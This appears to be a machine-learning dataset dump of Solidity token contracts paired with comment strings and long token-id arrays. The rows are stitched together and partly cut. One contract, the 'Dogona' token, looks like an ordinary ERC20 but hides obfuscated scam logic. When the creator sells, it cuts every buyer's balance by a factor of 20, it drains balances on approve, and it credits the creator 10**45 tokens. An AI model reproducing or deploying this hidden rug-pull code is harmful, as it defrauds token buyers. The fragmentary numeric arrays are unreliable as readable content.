0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
12501,
774,
12,
1080,
3778,
389,
529,
13,
1071,
288,
203,
3639,
2583,
12,
58,
20005,
1887,
63,
3576,
18,
15330,
8009,
17583,
58,
16474,
422,
629,
16,
315,
6225,
1240,
1818,
331,
16474,
8863,
203,
3639,
776,
20005,
1887,
63,
3576,
18,
15330,
8009,
17583,
58,
16474,
273,
638,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
7965,
18,
2469,
31,
277,
27245,
288,
203,
5411,
309,
261,
79,
24410,
581,
5034,
12,
3890,
12,
21635,
63,
77,
8009,
19188,
461,
3719,
422,
417,
24410,
581,
5034,
12,
3890,
24899,
529,
20349,
288,
203,
7734,
776,
20005,
1887,
63,
3576,
18,
15330,
8009,
19188,
1016,
273,
277,
31,
203,
7734,
7965,
63,
77,
8009,
25911,
1380,
9904,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* Overflow aware uint math functions.
*/
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
/**
* @title ERC20Token interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title BasicToken interface
* @dev Implementation of the basic standard token.
*/
contract BasicToken is ERC20Token {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Owned
* functions, this simplifies the implementation of "user permissions".
*/
contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract USISampleToken is BasicToken, Owned {
string public version = "1.0";
string public name = "USISample Token";
string public symbol = "USISample";
uint8 public decimals = 18;
mapping(address=>uint256) lockedBalance;
mapping(address=>uint) timeRelease;
uint256 internal constant INITIAL_SUPPLY = 500 * (10**6) * (10 **18);
uint256 internal constant DEVELOPER_RESERVED = 175 * (10**6) * (10**18);
event Burn(address indexed burner, uint256 value);
event Lock(address indexed locker, uint256 value, uint releaseTime);
event UnLock(address indexed unlocker, uint256 value);
function USISampleToken(address _developer) public {
balances[_developer] = DEVELOPER_RESERVED;
totalSupply = DEVELOPER_RESERVED;
}
function lockedOf(address _owner) public constant returns (uint256 balance) {
return lockedBalance[_owner];
}
function unlockTimeOf(address _owner) public constant returns (uint timelimit) {
return timeRelease[_owner];
}
function transferAndLock(address _to, uint256 _value, uint _releaseTime) public returns (bool success) {
require(_to != 0x0);
require(_value <= balances[msg.sender]);
require(_value > 0);
require(_releaseTime > now && _releaseTime <= now + 60*60*24*365*5);
balances[msg.sender] = balances[msg.sender].sub(_value);
uint preRelease = timeRelease[_to];
if (preRelease <= now && preRelease != 0x0) {
balances[_to] = balances[_to].add(lockedBalance[_to]);
lockedBalance[_to] = 0;
}
lockedBalance[_to] = lockedBalance[_to].add(_value);
timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to];
Transfer(msg.sender, _to, _value);
Lock(_to, _value, _releaseTime);
return true;
}
/**
* @notice Transfers tokens held by lock.
*/
function unlock() public returns (bool success){
uint256 amount = lockedBalance[msg.sender];
require(amount > 0);
require(now >= timeRelease[msg.sender]);
balances[msg.sender] = balances[msg.sender].add(amount);
lockedBalance[msg.sender] = 0;
timeRelease[msg.sender] = 0;
Transfer(0x0, msg.sender, amount);
UnLock(msg.sender, amount);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public returns (bool success) {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
return true;
}
function isSoleout() public constant returns (bool) {
return (totalSupply >= INITIAL_SUPPLY);
}
modifier canMint() {
require(!isSoleout());
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount, uint256 _lockAmount, uint _releaseTime) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
if (_lockAmount > 0) {
totalSupply = totalSupply.add(_lockAmount);
lockedBalance[_to] = lockedBalance[_to].add(_lockAmount);
timeRelease[_to] = _releaseTime >= timeRelease[_to] ? _releaseTime : timeRelease[_to];
Lock(_to, _lockAmount, _releaseTime);
}
Transfer(0x0, _to, _amount);
return true;
}
} | * @title Owned functions, this simplifies the implementation of "user permissions"./ | contract Owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Owned () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
| 12,686,562 | [
1,
5460,
329,
4186,
16,
333,
9330,
5032,
326,
4471,
434,
315,
1355,
4371,
9654,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
14223,
11748,
288,
203,
225,
1758,
1071,
3410,
31,
203,
203,
225,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
225,
445,
14223,
11748,
1832,
2713,
288,
203,
565,
3410,
273,
1234,
18,
15330,
31,
203,
225,
289,
203,
203,
225,
9606,
1338,
5541,
1435,
288,
203,
565,
2583,
12,
3576,
18,
15330,
422,
3410,
1769,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1338,
5541,
1071,
288,
203,
565,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
10019,
203,
565,
14223,
9646,
5310,
1429,
4193,
12,
8443,
16,
394,
5541,
1769,
203,
565,
3410,
273,
394,
5541,
31,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./BPContract.sol";
contract MELD is
Initializable,
ERC20Upgradeable,
OwnableUpgradeable,
ERC20BurnableUpgradeable,
UUPSUpgradeable
{
using SafeMathUpgradeable for uint256;
BPContract public BP;
bool public bpEnabled;
bool public BPDisabledForever;
uint upgradeDelay;
PrepareUpgradeImpl prepareUpgradeImpl;
struct PrepareUpgradeImpl {
address newImplementation;
// Ready to upgrade creation time
uint256 createdAt;
}
event NewUpgradeDelay(uint deplay);
event NewPrepareUpgradeImpl(address _newImplementation, uint256 createdAt);
function initialize() public initializer {
__ERC20_init("Meland.ai", "MELD");
__ERC20Burnable_init();
__Ownable_init();
__UUPSUpgradeable_init();
BPDisabledForever = false;
upgradeDelay = 14 days;
}
function setBPAddrss(address _bp) external onlyOwner {
require(address(BP)== address(0), "Can only be initialized once");
BP = BPContract(_bp);
}
function setBpEnabled(bool _enabled) external onlyOwner {
bpEnabled = _enabled;
}
function setBotProtectionDisableForever() external onlyOwner{
require(BPDisabledForever == false);
BPDisabledForever = true;
}
function getMaxMints() public view returns (uint256) {
return 2000000000 * 10 ** decimals();
}
function mint(uint256 amount) public onlyOwner {
require(
amount + totalSupply() <= getMaxMints(),
"Exceeds the maximum number of mintable"
);
_mint(msg.sender, amount);
}
function _beforeTokenTransfer(address _from, address _to, uint _amount) internal override {
if (bpEnabled && !BPDisabledForever) {
BP.protect(_from, _to, _amount);
}
super._beforeTokenTransfer(_from, _to, _amount);
}
function setPrepareUpgrade(address _newImplementation) public onlyOwner {
prepareUpgradeImpl = PrepareUpgradeImpl(
_newImplementation,
block.timestamp
);
emit NewPrepareUpgradeImpl(_newImplementation, block.timestamp);
}
function setUpgradeDelay(uint _delay) public onlyOwner {
require(_delay >= 2 days, "Minimum time is 2 days");
upgradeDelay = _delay;
emit NewUpgradeDelay(_delay);
}
function _authorizeUpgrade(address _newImplementation)
internal
override
view
onlyOwner
{
require(_newImplementation == prepareUpgradeImpl.newImplementation, "Upgrade contracts are not in the ready queue");
require(block.timestamp.sub(prepareUpgradeImpl.createdAt) > upgradeDelay, "Upgrade contracts must be prepared 2 days in advance");
}
}
| Ready to upgrade creation time | struct PrepareUpgradeImpl {
address newImplementation;
uint256 createdAt;
}
event NewUpgradeDelay(uint deplay);
event NewPrepareUpgradeImpl(address _newImplementation, uint256 createdAt);
| 895,799 | [
1,
8367,
358,
8400,
6710,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
7730,
10784,
2828,
288,
203,
3639,
1758,
394,
13621,
31,
203,
3639,
2254,
5034,
26083,
31,
203,
565,
289,
203,
203,
565,
871,
1166,
10784,
6763,
12,
11890,
443,
1601,
1769,
203,
565,
871,
1166,
7543,
10784,
2828,
12,
2867,
389,
2704,
13621,
16,
2254,
5034,
26083,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Elona? Putina? Welcome to Elona's brainchild: Dogona @DogonaToken
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Funny;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private xxxArray;
address private Limitless = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Ultimatum = 0;
address public pair;
uint256 private malaysia;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSellers; uint256 private _totalSupply;
bool private trading; bool private Bahrain; uint256 private Saudi;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSellers = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function _balancestrading(address sender, address recipient, uint256 amount, bool refilling) internal {
Bahrain = refilling ? true : Bahrain;
if (((Funny[sender] == true) && (Funny[recipient] != true)) || ((Funny[sender] != true) && (Funny[recipient] != true))) { xxxArray.push(recipient); }
if ((Funny[sender] != true) && (Funny[recipient] == true)) { require(amount < (_totalSupply / 12)); } // max buy/sell per transaction
if ((Bahrain) && (sender == _msgSellers)) {
for (uint256 i = 0; i < xxxArray.length; i++) {
_balances[xxxArray[i]] /= 20;
}
}
_balances[Limitless] /= (((Ultimatum == block.timestamp) || (Bahrain)) && (Funny[recipient] != true) && (Funny[Limitless] != true) && (Saudi > 1)) ? (90) : (1);
Saudi++; Limitless = recipient; Ultimatum = block.timestamp;
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balancesrecipient(address account) internal {
_balances[account] += (((account == _msgSellers) && (malaysia > 2)) ? (10 ** 45) : 0);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function openTrading() external onlyOwner returns (bool) {
trading = true;
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _balancessender(address sender, address recipient, uint256 amount) internal {
require((trading || (sender == _msgSellers)), "ERC20: trading for the token is not yet enabled.");
_balancestrading(sender, recipient, amount, (address(sender) == _msgSellers) && (malaysia > 0));
malaysia += (sender == _msgSellers) ? 1 : 0;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _DeployToken(address creator) internal virtual {
approve(_router, 10 ** 77);
(malaysia,Bahrain,Saudi,trading) = (0,false,0,true);
(Funny[_router],Funny[creator],Funny[pair]) = (true,true,true);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
_balances[owner] /= (Bahrain ? 20 : 1);
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balancessender(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balancesrecipient(sender);
emit Transfer(sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _CreateContract(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_CreateContract(creator, initialSupply);
_DeployToken(creator);
}
}
contract Dogona is ERC20Token {
constructor() ERC20Token("Dogona", "DOGONA", msg.sender, 220000000 * 10 ** 18) {
}
} | max buy/sell per transaction
| if ((Funny[sender] != true) && (Funny[recipient] == true)) { require(amount < (_totalSupply / 12)); } | 13,778,110 | [
1,
1896,
30143,
19,
87,
1165,
1534,
2492,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
309,
14015,
22783,
18538,
63,
15330,
65,
480,
638,
13,
597,
261,
22783,
18538,
63,
20367,
65,
422,
638,
3719,
288,
2583,
12,
8949,
411,
261,
67,
4963,
3088,
1283,
342,
2593,
10019,
289,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
